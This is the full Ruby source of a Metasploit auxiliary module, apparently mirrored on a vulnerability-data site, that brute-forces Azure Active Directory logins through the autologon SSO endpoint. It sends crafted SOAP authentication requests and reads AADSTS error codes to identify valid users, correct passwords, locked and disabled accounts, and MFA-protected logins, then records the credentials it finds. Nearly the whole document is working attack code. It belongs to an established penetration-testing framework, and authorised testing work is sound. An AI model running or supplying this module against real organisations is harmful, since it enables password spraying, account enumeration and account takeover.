`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Microsoft Azure Active Directory Login Enumeration',
'Description' => %q{
This module enumerates valid usernames and passwords against a
Microsoft Azure Active Directory domain by utilizing a flaw in
how SSO authenticates.
},
'Author' => [
'Matthew Dunn - k0pak4'
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://raxis.com/blog/metasploit-azure-ad-login'],
[ 'URL', 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'],
[ 'URL', 'https://github.com/treebuilder/aad-sso-enum-brute-spray'],
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'RHOST' => 'autologon.microsoftazuread-sso.com',
'PASSWORD' => 'password'
}
)
register_options(
[
OptString.new('RHOST', [true, 'The target Azure endpoint', 'autologon.microsoftazuread-sso.com']),
OptString.new('DOMAIN', [true, 'The target Azure AD domain']),
OptString.new('TARGETURI', [ true, 'The base path to the Azure autologon endpoint', '/winauth/trust/2005/usernamemixed']),
]
)
deregister_options('VHOST', 'USER_AS_PASS',
'USERPASS_FILE', 'STOP_ON_SUCCESS', 'Proxies',
'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS',
'BLANK_PASSWORDS', 'RHOSTS')
end
def report_login(address, domain, username, password)
# report information, if needed
service_data = service_details.merge({
address: address,
service_name: 'Azure AD',
workspace_id: myworkspace_id
})
credential_data = {
origin_type: :service,
module_fullname: fullname,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def check_login(targeturi, domain, username, password)
request_id = SecureRandom.uuid
url = "https://#{rhost}/#{domain}#{targeturi}"
created = Time.new.inspect
expires = (Time.new + 600).inspect
message_id = SecureRandom.uuid
username_token = SecureRandom.uuid
body = "<?xml version='1.0' encoding='UTF-8'?>
<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'>
<s:Header>
<wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To s:mustUnderstand='1'>#{url}</wsa:To>
<wsa:MessageID>urn:uuid:#{message_id}</wsa:MessageID>
<wsse:Security s:mustUnderstand=\"1\">
<wsu:Timestamp wsu:Id=\"_0\">
<wsu:Created>#{created}</wsu:Created>
<wsu:Expires>#{expires}</wsu:Expires>
</wsu:Timestamp>
<wsse:UsernameToken wsu:Id=\"#{username_token}\">
<wsse:Username>#{username.strip.encode(xml: :text)}@#{domain}</wsse:Username>
<wsse:Password>#{password.strip.encode(xml: :text)}</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken Id='RST0'>
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>"
res = send_request_raw({
'uri' => "/#{domain}#{targeturi}",
'method' => 'POST',
'vars_get' => {
'client-request-id' => request_id
},
'data' => body
})
unless res
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
end
@target_host ||= report_host(host: rhost, name: rhost, state: Msf::HostState::Alive)
# Check the XML response for either the SSO Token or the error code
xml = res.get_xml_document
xml.remove_namespaces!
if xml.xpath('//DesktopSsoToken')[0]
auth_details = xml.xpath('//DesktopSsoToken')[0].text
else
auth_details = xml.xpath('//internalerror/text')[0].text
end
if xml.xpath('//DesktopSsoToken')[0]
print_good("Login #{domain}\\#{username}:#{password} is valid!")
print_good("Desktop SSO Token: #{auth_details}")
report_login(@target_host.address, domain, username, password)
:next_user
elsif auth_details.start_with?('AADSTS50126') # Valid user but incorrect password
print_good("Password #{password} is invalid but #{domain}\\#{username} is valid!")
report_login(@target_host.address, domain, username, nil)
elsif auth_details.start_with?('AADSTS50056') # User exists without a password in Azure AD
print_good("#{domain}\\#{username} is valid but the user does not have a password in Azure AD!")
report_login(@target_host.address, domain, username, nil)
:next_user
elsif auth_details.start_with?('AADSTS50076') # User exists, but you need MFA to connect to this resource
print_good("Login #{domain}\\#{username}:#{password} is valid, but you need MFA to connect to this resource")
report_login(@target_host.address, domain, username, password)
:next_user
elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded
print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
report_login(@target_host.address, domain, username, nil)
elsif auth_details.start_with?('AADSTS50034') # User does not exist
print_error("#{domain}\\#{username} is not a valid user")
elsif auth_details.start_with?('AADSTS50053') # Account is locked
print_error("#{domain}\\#{username} is locked, consider taking time before continuing to scan!")
:next_user
elsif auth_details.start_with?('AADSTS50057') # User exists, but is disabled so we don't report
print_error("#{domain}\\#{username} exists but is disabled; it will not be reported")
:next_user
else # Unknown error code
print_error("Received unknown response with error code: #{auth_details}")
end
end
def run
each_user_pass do |cur_user, cur_pass|
check_login(datastore['TARGETURI'], datastore['DOMAIN'], cur_user, cur_pass)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation